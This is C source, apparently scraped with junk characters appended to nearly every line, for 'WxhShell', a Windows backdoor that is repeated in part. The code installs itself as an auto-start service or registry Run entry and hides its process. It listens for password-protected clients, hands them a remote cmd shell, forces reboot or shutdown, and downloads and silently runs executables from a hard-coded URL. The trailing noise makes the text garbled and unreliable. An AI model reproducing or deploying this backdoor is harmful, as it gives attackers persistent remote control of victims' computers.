    } w#o<qrpHf  
  // 关机 rF5<x3  
  case 'd': { :9)>!+|'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6"wY;E  
    if(Boot(SHUTDOWN)) 0}ZuF.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 41:Z8YL(  
    else { 8-m"]o3  
    closesocket(wsh); eBP N[V  
    ExitThread(0); o(a*Fk$  
    } :ortyCB:H  
    break; (cMrEuv  
    } U9@q"v-  
  // 获取shell wU=(_S,c  
  case 's': { J3$ihH.  
    CmdShell(wsh); Ji7A9Hk  
    closesocket(wsh); ;[|x5o /<  
    ExitThread(0); gcz1*3)  
    break; E 1>3[3  
  } ~r{Nc j  
  // 退出 gh~C.>W}q+  
  case 'x': { lr|-_snx2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0 xXAhv-)O  
    CloseIt(wsh); bkY7]'.bz&  
    break; z*R"917  
    } Lrk^<:8;  
  // 离开 Xc@4(Nyp  
  case 'q': { Sy8Og] a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )Ev [o#y  
    closesocket(wsh); FY VcL*  
    WSACleanup(); B (BWdrG  
    exit(1); VA]%i P,O-  
    break; xX&*&RPZ  
        } ch-GmAj 9  
  } Q8P;AN_JS  
  } !?KY;3L:  
x|Q6[Y  
  // 提示信息 Y!SD^Ie7!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pukq{/27  
} =]D##R  
  } I*0 W\Qz@  
%Jw;c`JM  
  return; & MAIm56~  
} iA:CPBv_mu  
b)df V=  
// shell模块句柄 c  xX  
int CmdShell(SOCKET sock) $u`;{8  
{ YT-t$QyL  
STARTUPINFO si; "=Ziy4V  
ZeroMemory(&si,sizeof(si)); T\]z0M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,C CIg9Pt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M#:Mwa$  
PROCESS_INFORMATION ProcessInfo; 3fGy  
char cmdline[]="cmd"; ?.4u'Dkn=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hiq9Jn uv(  
  return 0; SX;FBO(p  
} wK,t q  
h5Z%|J>;0  
// 自身启动模式 (g   
int StartFromService(void) YAO.Ccz  
{ y<5s)OehG  
typedef struct uD+;5S]us  
{ V57^0^Zp`  
  DWORD ExitStatus; MRiETd"  
  DWORD PebBaseAddress; ysSEgC3  
  DWORD AffinityMask; ;KnnAZJ  
  DWORD BasePriority; <8H`y(S  
  ULONG UniqueProcessId; [jafPi(#g  
  ULONG InheritedFromUniqueProcessId; c|I{U[(U  
}   PROCESS_BASIC_INFORMATION; xOS4J+'s@  
V+E2nJ  
PROCNTQSIP NtQueryInformationProcess; ost~<4~  
|vGz 1jLV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D F0~A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2#sE\D  
d/|@"z^?  
  HANDLE             hProcess; ] Li(E:  
  PROCESS_BASIC_INFORMATION pbi; N<?RN;M  
5 1 L:%Af  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); br0gB3 r  
  if(NULL == hInst ) return 0; O-G4^V8  
g6nBu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mvYr"6f8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }J:~}?^%n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .lqo>Ta y  
rJR"[TTJ  
  if (!NtQueryInformationProcess) return 0; }mX;0qO  
q7X /"Dfx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); > Y LwWU<X  
  if(!hProcess) return 0; :^px1  
4Jht{#IIG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {N>VK*  
QHA<7Wg  
  CloseHandle(hProcess); "&7v.-Y k(  
pnVtjWrbG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IspY%UMl  
if(hProcess==NULL) return 0; #K  ]k  
/ EWF0XV!  
HMODULE hMod; #O G_O I  
char procName[255]; 1!,lI?j,  
unsigned long cbNeeded; HSyohP87  
}>SHTHVye  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D @T,j4o  
#Mi>f4T;  
  CloseHandle(hProcess); \Q]2Zq  
tTC[^Dji  
if(strstr(procName,"services")) return 1; // 以服务启动 b[H& vp  
8r+R~{  
  return 0; // 注册表启动 @| r*yi  
} Rh,*tS  
MX  qH  
// 主模块 :fo%)_Jc!  
int StartWxhshell(LPSTR lpCmdLine) +xB !T1p D  
{ e>Is$+[`7  
  SOCKET wsl; }9{6{TD  
BOOL val=TRUE; ,sXa{U  
  int port=0; <+C]^*j  
  struct sockaddr_in door; w0VJt<e*  
Gv3a<Knn4  
  if(wscfg.ws_autoins) Install(); oE)tK1>;H  
BpRQG]L  
port=atoi(lpCmdLine); 389T6sP]  
irpO(>LK  
if(port<=0) port=wscfg.ws_port; 5,;{<\c  
ll73}v  
  WSADATA data; @yqy$I   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6Kg lp\2  
E WOn"   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &QLCij5:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V/<dHOfR\  
  door.sin_family = AF_INET; }kGJ)zh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c.,eIiL  
  door.sin_port = htons(port); sl>4O]N  
mI"`.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pn>zuH e  
closesocket(wsl); pT:CvJ  
return 1; &A]*"lt|w  
} J3g>#N]='(  
V_(lZDjh*  
  if(listen(wsl,2) == INVALID_SOCKET) { $]!uX&  
closesocket(wsl); nSmYa7  
return 1; j=M_>  
} ct fKxGH  
  Wxhshell(wsl); DSD#',  
  WSACleanup(); \snbU'lfP  
H>a3\M  
return 0; VTy!<I  
3Ud&B  
} 'R99kL/.N  
s>E4.0[I%  
// 以NT服务方式启动 !G Z2|~f9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _hK7hvM>  
{ o~2bk<]z  
DWORD   status = 0; + .mIC:9  
  DWORD   specificError = 0xfffffff; !nC Z,  
B$_F)2%m;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6t<~. 2'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ilsh Jo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `yNNpSdS1  
  serviceStatus.dwWin32ExitCode     = 0; )d_)CuUBe  
  serviceStatus.dwServiceSpecificExitCode = 0; _)ZAf% f?  
  serviceStatus.dwCheckPoint       = 0; ;9/6X#;$  
  serviceStatus.dwWaitHint       = 0; .9S  
s=u0M;A0Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S\MD]>4  
  if (hServiceStatusHandle==0) return; 45> w=O  
(;+ JM*c2N  
status = GetLastError(); [p_R?2uT  
  if (status!=NO_ERROR) $BwWhR  
{ lTDF5.aE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \$<kJ|| lS  
    serviceStatus.dwCheckPoint       = 0; 3JWHyo  
    serviceStatus.dwWaitHint       = 0; L5]*ZCDv  
    serviceStatus.dwWin32ExitCode     = status; 6P3ezl@#;  
    serviceStatus.dwServiceSpecificExitCode = specificError; rKP"|+^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9v_gR52vh  
    return; to(OVg7_  
  } !f V.#9AB#  
*(& J^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t> -cTQm  
  serviceStatus.dwCheckPoint       = 0; HRC5z<k%  
  serviceStatus.dwWaitHint       = 0; L_=J(H|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2< qq[2  
} (3&@c!E  
)p).}"   
// 处理NT服务事件,比如:启动、停止 sbQmPV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RT F9;]Ti  
{ Z[slN5]([  
switch(fdwControl) 1Hy  
{ tt6ElP|D  
case SERVICE_CONTROL_STOP: 2sk^A ly  
  serviceStatus.dwWin32ExitCode = 0; JU1U=Lu."  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _Oh;._PS  
  serviceStatus.dwCheckPoint   = 0; _|g(BK2}  
  serviceStatus.dwWaitHint     = 0; Xa Yx avq  
  { >OBuHqC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U3&*,xeU@H  
  } I^qk`5w  
  return; /1gKc}rB2  
case SERVICE_CONTROL_PAUSE:  7=6p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VQ$=F8ivG  
  break; mdoy1a  
case SERVICE_CONTROL_CONTINUE: D-8%lGS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ouPwhB,bg  
  break; ~i=/@;wRp  
case SERVICE_CONTROL_INTERROGATE: Q{0-pHr}  
  break; ZL+{?1&-  
}; |&o1i~Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q{Jz;6"  
} v'Tk Kwl  
fu?>O /Gn/  
// 标准应用程序主函数  /e!/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UFyGp>/06  
{ _r+9S.z  
Qo0okir  
// 获取操作系统版本 o%+K S5v!  
OsIsNt=GetOsVer(); pr>K#@^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n,9 *!1y  
Z>7Oez>  
  // 从命令行安装 OV;Ho  
  if(strpbrk(lpCmdLine,"iI")) Install(); X6N^<Z$  
 4O[5,  
  // 下载执行文件 k(3 s^B  
if(wscfg.ws_downexe) { uY5f mM9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aL-V9y  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5lxC**NA  
} <(>v|5K0]  
i6h:%n]Io  
if(!OsIsNt) { @J!)o d  
// 如果时win9x,隐藏进程并且设置为注册表启动 KVSy^-."  
HideProc(); ygd'Nh!@  
StartWxhshell(lpCmdLine); #D .H2'_}  
} <T+Pw7X   
else $lU~3I)  
  if(StartFromService()) u)t1t69T\g  
  // 以服务方式启动 #ie{!Mh  
  StartServiceCtrlDispatcher(DispatchTable); Y\%R6/Gj|u  
else &+J5GHt@  
  // 普通方式启动 H) m!)=\'  
  StartWxhshell(lpCmdLine); nR!qolh  
) ok_"wB  
return 0; tJ&S&[}  
} H_o<!YxK  
 &j2L- )  
V<\:iNXX{  
b0rC\^x  
=========================================== A:cc @ku  
z }R-J/xr2  
q ^n6"&;*  
{>5z~OV  
4Q z  
bO9F rEz5  
" %UV_ 3  
4:nmo@K &~  
#include <stdio.h> !#f4t]FM`B  
#include <string.h> n)sK#C-VA  
#include <windows.h> tCI8 \~  
#include <winsock2.h> WN?!(r<qA_  
#include <winsvc.h> shYcfLJ  
#include <urlmon.h> N{q5E,}  
'"GdO;}&  
#pragma comment (lib, "Ws2_32.lib") 6:330"9  
#pragma comment (lib, "urlmon.lib") 0 -=onX  
ZZ]/9oiF%  
#define MAX_USER   100 // 最大客户端连接数 E$ F)z  
#define BUF_SOCK   200 // sock buffer bpzB}nEp  
#define KEY_BUFF   255 // 输入 buffer $O%lYQY]  
B5=L</Aj  
#define REBOOT     0   // 重启 -x:Wp*,  
#define SHUTDOWN   1   // 关机 f2uog$H k  
v9x $`  
#define DEF_PORT   5000 // 监听端口 n"@3d.21  
4w*F!E2H\}  
#define REG_LEN     16   // 注册表键长度 /+JCi6{sHS  
#define SVC_LEN     80   // NT服务名长度 ag:#82C  
V BIPB  
// 从dll定义API BXZ( %tnY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !D7\$ g6g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \X Nb9-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '/z.\S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sN5 x\9U  
NV36Q^Am[  
// wxhshell配置信息 HTQ .kV  
struct WSCFG { p%xo@v(  
  int ws_port;         // 监听端口 {|%5}\%  
  char ws_passstr[REG_LEN]; // 口令 D7sw;{ns  
  int ws_autoins;       // 安装标记, 1=yes 0=no I@pnZ-5  
  char ws_regname[REG_LEN]; // 注册表键名 c ?V,a`6  
  char ws_svcname[REG_LEN]; // 服务名 44kY[jhf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lY?TF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1YAy\F~`.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k3sP,opacX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $Z.c9rY1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L7X._XBO[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TcauCL  
UF D_  
}; ;=_<\2  
C]A*B  
// default Wxhshell configuration N]KqSpPh  
struct WSCFG wscfg={DEF_PORT, l"CHI*  
    "xuhuanlingzhe", h&h]z[r R  
    1, }\JoE4  
    "Wxhshell", nITr5$f  
    "Wxhshell", riFE.;  
            "WxhShell Service", rouD"cy  
    "Wrsky Windows CmdShell Service", nFw&vR/q  
    "Please Input Your Password: ", 03$Ay_2  
  1, G U0zlG] C  
  "http://www.wrsky.com/wxhshell.exe", Y49kq}  
  "Wxhshell.exe" Vn=J$Uv0  
    }; _q3SR[k+`  
)Qw|)='-  
// 消息定义模块 ln3x1^!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >Q[]i4*A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;#~rd8Z52  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hCQ{D|/  
char *msg_ws_ext="\n\rExit."; q'C'S#qqn  
char *msg_ws_end="\n\rQuit."; Fe"0Hp+  
char *msg_ws_boot="\n\rReboot..."; {D1=TTr^  
char *msg_ws_poff="\n\rShutdown..."; bnB}VRal  
char *msg_ws_down="\n\rSave to "; @<>](4D  
lJ}G"RTm  
char *msg_ws_err="\n\rErr!"; !%T@DT=l&  
char *msg_ws_ok="\n\rOK!"; ~4XJ" d3L  
n)$ q*IN"  
char ExeFile[MAX_PATH]; @^k$`W;  
int nUser = 0; :L*CL 8m  
HANDLE handles[MAX_USER]; l]oGhM;  
int OsIsNt; z#D@mn5\ a  
J@!Sf7k42  
SERVICE_STATUS       serviceStatus; h8pc<t\6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hCW8(Zt  
@ mt v2P`  
// 函数声明 B quyPG"  
int Install(void); B:^5W{  
int Uninstall(void); |\~cjPX(  
int DownloadFile(char *sURL, SOCKET wsh); P/M*XUG.  
int Boot(int flag); Bi?.G7>  
void HideProc(void); Z~T- *1V  
int GetOsVer(void); Qnr' KbK  
int Wxhshell(SOCKET wsl); 8Vl!&j0s^  
void TalkWithClient(void *cs); j><.tA~i  
int CmdShell(SOCKET sock); li/IKS)e$  
int StartFromService(void); rh$%*l  
int StartWxhshell(LPSTR lpCmdLine); dYf Vox;  
]7h&ZF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A n/)|B4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZLE4 XB]  
s49 AF  
// 数据结构和表定义 w y:USS?  
SERVICE_TABLE_ENTRY DispatchTable[] = pBK[j ([  
{ f{* G%  
{wscfg.ws_svcname, NTServiceMain}, ]E[Mv} =  
{NULL, NULL} gmJJ(}HVz  
}; #G)ZhgB^  
`S$BBF;  
// 自我安装 8I@= ?  
int Install(void) ZiVTc/b  
{ Ddt(*z /  
  char svExeFile[MAX_PATH]; f.rHX<%q9B  
  HKEY key; OM}:1He  
  strcpy(svExeFile,ExeFile); <Ni]\-*  
}{j[  
// 如果是win9x系统,修改注册表设为自启动 47ir QK*  
if(!OsIsNt) { eR8h4M~O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k\HRG@ /G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ec"L*l"  
  RegCloseKey(key); bG2 !5m4L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7v%~^l7:x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~q-|cl<  
  RegCloseKey(key); W9a H]9b  
  return 0; &W".fRH_O  
    } TO3Yz3+A  
  } &*/X*!_HK  
} EG<K[t  
else { ;v8,r#4  
BuK82   
// 如果是NT以上系统,安装为系统服务 Dugr{Y/0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BR"*-$u0;  
if (schSCManager!=0) /F/`?=1<$  
{ i&"I/!3Q@  
  SC_HANDLE schService = CreateService oBAD4qK  
  ( A/BL{ U}  
  schSCManager, Z^h'&c#  
  wscfg.ws_svcname, '3%!Gi!g  
  wscfg.ws_svcdisp, P`V#Wj4\  
  SERVICE_ALL_ACCESS, #_|b;cf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,+zLFQC0@  
  SERVICE_AUTO_START, ZFz>" vt@  
  SERVICE_ERROR_NORMAL, Bv3?WW  
  svExeFile, NpH)K:$#%  
  NULL, QFDjsd4  
  NULL, *$(9,y\  
  NULL, 4vE,nx=  
  NULL, D/@:wY  
  NULL IE'OK  
  ); )oHIRsr  
  if (schService!=0) Q0ev*MS9Z  
  { F4">go  
  CloseServiceHandle(schService); Z1^S;#v  
  CloseServiceHandle(schSCManager); ?A,gDk/#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8.]dThaq  
  strcat(svExeFile,wscfg.ws_svcname); vP88%I;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2 B5kpmH:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [4t_ 83  
  RegCloseKey(key); -pa.-@  
  return 0; w7w$z _P  
    } I:AlM ?  
  } NWX~@Rg  
  CloseServiceHandle(schSCManager); uop_bJ  
} j0:F E  
} ~mmI] pC  
0+cRUH9Ew  
return 1; ]O&TU X@)  
}  {l_R0  
4/Ok/I  
// 自我卸载 %# J8cB  
int Uninstall(void) RQ}x7< /{  
{ ;) (qRZd6  
  HKEY key; Qzb8*;4?FF  
&k : |  
if(!OsIsNt) { ?G.9D`95  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wQ(ME7 t  
  RegDeleteValue(key,wscfg.ws_regname); t-_N|iW' 5  
  RegCloseKey(key); SQa.xLU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B)ynF?"  
  RegDeleteValue(key,wscfg.ws_regname); bpKMQrwd  
  RegCloseKey(key); < ~x5{p  
  return 0; }_5z(7}3  
  } ^>[DG]g  
} q& 4Z.(  
} t(Iy[-  
else { \!z=x#!O$  
:vX;>SH$p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8=)A ksu  
if (schSCManager!=0) P#rwYPww\  
{ q0DoR@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w?<:`  
  if (schService!=0) +z("'Cv  
  { P,D >gxl  
  if(DeleteService(schService)!=0) { *w> /vu  
  CloseServiceHandle(schService); BjOrQAO  
  CloseServiceHandle(schSCManager); 83;1L:}`  
  return 0; J>XaQfzwU  
  } U5izOFc  
  CloseServiceHandle(schService); _.Uz!2  
  } n1buE1r?  
  CloseServiceHandle(schSCManager); R/<  /g=  
} r/3 !~??x  
} +apIp(E+  
"LXLUa03  
return 1; My_fm?n  
} 4ol=YGCI_  
k]; <PF  
// 从指定url下载文件 sks_>BM  
int DownloadFile(char *sURL, SOCKET wsh) >i@gR  
{ )bw>)&)b`  
  HRESULT hr; Fk=_Q LI  
char seps[]= "/"; e0>@Yp[Kd  
char *token; Me5umA  
char *file; S,Zjol%p  
char myURL[MAX_PATH]; {vA;#6B|  
char myFILE[MAX_PATH]; ~]c^v'k  
.F)--%  
strcpy(myURL,sURL); ?vf\_R'M  
  token=strtok(myURL,seps); as~.XWa  
  while(token!=NULL) rw_&t>Ri;  
  { '>'h7F=tY  
    file=token; EkWe6m  
  token=strtok(NULL,seps); Qpf BM  
  } U|U/B  
): Q5u6  
GetCurrentDirectory(MAX_PATH,myFILE); hO{@!H$l  
strcat(myFILE, "\\"); )@SIFE  
strcat(myFILE, file); ?_n.B=H`8  
  send(wsh,myFILE,strlen(myFILE),0); },[S9I`p  
send(wsh,"...",3,0); uvD 6uIW<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); % ,~; w0  
  if(hr==S_OK) JR7~|ov  
return 0; A[+op'>k  
else /1n}IRuw  
return 1; sY1@ch"  
;M4N=G Wd4  
} y^M'&@F  
Arfq  
// 系统电源模块 HzbO#)Id-I  
int Boot(int flag) C. 8>  
{ Ds L]o  
  HANDLE hToken; |nU:  
  TOKEN_PRIVILEGES tkp; GXJ3E"_.  
`Rj i=k>  
  if(OsIsNt) { Qyd3e O_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4_r8ynq{z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1`2lTkg  
    tkp.PrivilegeCount = 1; Im6ymaf9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HT1bsY 0t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U@Aq@d+n  
if(flag==REBOOT) { +zL=UEBN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X<-]./  
  return 0; H,3$TNX y  
} DgOoEHy[  
else { ~Ycz(h'(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kQVl8KS  
  return 0; ;F~GKn;}  
} <!DOCvd  
  } xW"J@OiKL  
  else { Mh3zl  
if(flag==REBOOT) { B(^fM!_%-6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (T'inNbJe  
  return 0; mjs*Z{_F^  
} i Cv &<C@  
else { ^T^U:Zdq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {p6",d."N&  
  return 0; jN5Sc0|b  
} | G%MiYd  
} dF1Bo  
OtQKDpJq  
return 1; *bv Iqa  
} I X\&lV  
?>lmLz!e  
// win9x进程隐藏模块 `I m;@_J  
void HideProc(void) |C-B=XE;3  
{ O5k's  
;?n*w+6<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xZ9y*Gv\=  
  if ( hKernel != NULL ) \V: _Zs  
  { A9lqVMp64  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rt~X (S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3_Oq4/  
    FreeLibrary(hKernel); B8a!"AQ~5  
  } zROyG  
D-,sF8{ i  
return; cteHuRd  
} |'KNR]: N  
?pQ, 5+8  
// 获取操作系统版本 }T(|\ X  
int GetOsVer(void) 70KXBu<6  
{ {v]>sn;P1  
  OSVERSIONINFO winfo; >O\-\L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?hDEFW9&^x  
  GetVersionEx(&winfo); Ud{-H_m+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) luC',QJB  
  return 1; 8,kbGlSD  
  else #+_Oy Z*  
  return 0; vZ|-VvG  
} I;mtyS  
4] DmgOru%  
// 客户端句柄模块 mX|AptND  
int Wxhshell(SOCKET wsl) ]7xAL7x  
{ wz6e^ g  
  SOCKET wsh; [N7[%iQ%  
  struct sockaddr_in client; AvV.faa  
  DWORD myID; p=405~  
WtlIrdc  
  while(nUser<MAX_USER) C<n.C*o  
{ 0s<o5`v  
  int nSize=sizeof(client); fylaH(LER  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yn I   
  if(wsh==INVALID_SOCKET) return 1; da[l[b;  
sDbALAp +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _0vXujz  
if(handles[nUser]==0) Hs-NP#I  
  closesocket(wsh); )n0g6  
else %8 4<@f&n]  
  nUser++; G_AAE#r`  
  } possM'vC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5'z&kl0"S  
N8nyTPw  
  return 0; #Q$4EQB  
} {[Yv@CpN  
yY&(?6\{<<  
// 关闭 socket 3q1O:b^eo  
void CloseIt(SOCKET wsh) J-\b?R a  
{ twO)b"0  
closesocket(wsh); Q&F@[k  
nUser--; $6'xRUx X  
ExitThread(0); W tzV|e,  
} b]Z@zS<8  
,#"AWQ  
// 客户端请求句柄 PDpIU.=!0  
void TalkWithClient(void *cs) Uf\*u$78  
{ 0p[$8SCJ  
5T8!5EcS*  
  SOCKET wsh=(SOCKET)cs; DF&C7+hO  
  char pwd[SVC_LEN]; 01w=;Q  
  char cmd[KEY_BUFF]; ec]ksw6T+  
char chr[1]; - z|idy{  
int i,j; H=yD}!j  
G&Cl:CtC  
  while (nUser < MAX_USER) { C ]r$   
&.4lhfI+(Q  
if(wscfg.ws_passstr) { (bT\HW%m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g#70Sg*d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h hd n9n  
  //ZeroMemory(pwd,KEY_BUFF); f}+G;a9Nj  
      i=0; [C d 2L&9  
  while(i<SVC_LEN) { A: @=?(lI3  
OI`Lb\8pP  
  // 设置超时 PD/~@OsxU  
  fd_set FdRead; I&(cdKY z  
  struct timeval TimeOut; _nTjCN625  
  FD_ZERO(&FdRead); H%sQVE7m  
  FD_SET(wsh,&FdRead); ^lQ-w|7(  
  TimeOut.tv_sec=8; B2,! 0Re  
  TimeOut.tv_usec=0; b(XhwkGVq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GN~:rdd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m' aakq  
G! 87F/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I O6i  
  pwd=chr[0]; s*!2oj  
  if(chr[0]==0xd || chr[0]==0xa) { jf$t  
  pwd=0; ".@SQgyb0  
  break; WrD20Q$9Q  
  } {)%B?75~  
  i++; c9'#G>&h~^  
    } /Fv1Z=:r  
zBoU;d%p>  
  // 如果是非法用户,关闭 socket }~ +  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JT:9"lmJz,  
} 4XKg3l1  
<~Y4JMr"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YobIbpo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5jsnE )  
Gu%`__   
while(1) { =ecv;uu2  
_zpn+XVdQ  
  ZeroMemory(cmd,KEY_BUFF); IC{>q3  
I|`K;a  
      // 自动支持客户端 telnet标准   [6-l6W  
  j=0; M!I:$DZt  
  while(j<KEY_BUFF) { ->j9(76"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lv_6Mf(  
  cmd[j]=chr[0]; 8XY4  
  if(chr[0]==0xa || chr[0]==0xd) { Q% dpGI  
  cmd[j]=0; Ik}*7D  
  break; Mv9s  
  } qrdA?V V  
  j++; v h%\ " h  
    } p(U'Ydl~  
.<j8>1  
  // 下载文件 r7IhmdA  
  if(strstr(cmd,"http://")) { jV7q)\uu^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Np=*B_ @8  
  if(DownloadFile(cmd,wsh)) U5"F1CaW~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @lmke>  
  else ]Wy V bIu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r1=Zoxc=w  
  } fNK~z*  
  else { P/ y-K0u  
^X_%e|  
